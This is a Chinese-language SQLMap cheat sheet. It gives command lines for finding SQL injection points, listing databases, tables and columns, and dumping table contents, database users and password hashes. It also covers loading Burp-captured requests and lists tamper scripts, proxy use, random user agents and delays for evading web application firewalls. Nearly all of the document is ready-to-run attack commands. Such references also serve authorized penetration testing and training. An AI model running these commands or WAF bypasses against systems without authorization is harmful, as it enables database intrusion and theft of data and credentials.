1.SQLMap支持的数据库:
MySQL , Oracle , PostgreSQL , SQL Server , Access ,
IBM DB2 , SQLite , Firebid , Sybase , SAP MaxDB
2.基本使用:
python sqlmap.py -u "URL" --batch #判断是否存在注入点
python sqlmap.py -u "URL" --dbs --batch #获取全部数据库
python sqlmap.py -u "URL" -D 库名 --tables --batch #获取当前数据库所有表
python sqlmap.py -u "URL" -D 库名 -T 表名 --columns --batch
#获取表的字段
python sqlmap.py -u "URL" -D 库名 -T 表名 -C "字段名1,字段名2……" --dump --batch
#获取数据
python sqlmap.py -u "URL" --is-dba --batch #是否是管理员
python sqlmap.py -u "URL" --roles --batch #列出数据库管理员角色
python sqlmap.py -u "URL" --current-user --batch #获取当前用户名
python sqlmap.py -u "URL" --current-db --batch #获取当前数据库名称
python sqlmap.py -u "URL" --users --batch #获取数据库的所有用户
python sqlmap.py -u "URL" --passwords --batch #获取数据库的密码
3.扩展:
(1) SQLMap支持从文件中加载http请求,用于如需要带入cookie,POST型注入等需要浏览器数据包提交的场景,txt内容为web数据包(很常用,如果AWVS扫描有注入点但是使用前面命令发现注入失败时不妨尝试下这个方法)
txt数据包可以使用Burpsuite抓取,然后右击当前数据包空白区域,copy to file,保存为txt
python sqlmap.py -r package.txt
(2) 基于2基本使用命令的附加选项(防止WAF拦截):
python sqlmap.py -u "URL" [--tamper=x.py] [--proxy=http/https://ip:port] [--random-agent] [--delay 5] --batch
#判断是否存在注入点
--tamper: 加载插件脚本注入
--proxy: 添加代理
--random-agent:使用随机的User-Agent请求
--delay 5: 延迟5s注入,防止WAF拦截
--tamper部分插件脚本:
apostrophemask.py: 用utf8代替引号
apostrophenulencode.py: 绕过过滤双引号,替换字符和双引号
base64encode.py: 用base64编码替换
between.py: 用between替换大于号(>)
charencode.py: 使用url编码
chardoubleencode.py: 使用双重url编码
equaltolike.py: like代替等号
greatest.py: 绕过过滤 >
halfversionedmorekeywords.py: 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
modsecurityversioned.py: 过滤空格,包含完整的查询版本注释
randomcase.py 随机化注入语句大小写
space2dash.py: 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
space2hash.py: 空格替换为#号 随机字符串以及换行符
space2mysqlblank.py: 空格替换为其它空符号(mysql)
space2mysqldash.py: 替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n')(mysql)
space2mssqlblank.py: 空格替换为其它空符号(mssql)
space2mssqldash.py: 替换空格字符(' ')(' -')后跟一个破折号注释一个新行(' n')(mssql)
space2plus.py: 用+替换空格
versionedkeywords.py: 注释绕过
参考链接:https://blog.csdn.net/qq_36374896/article/details/83934083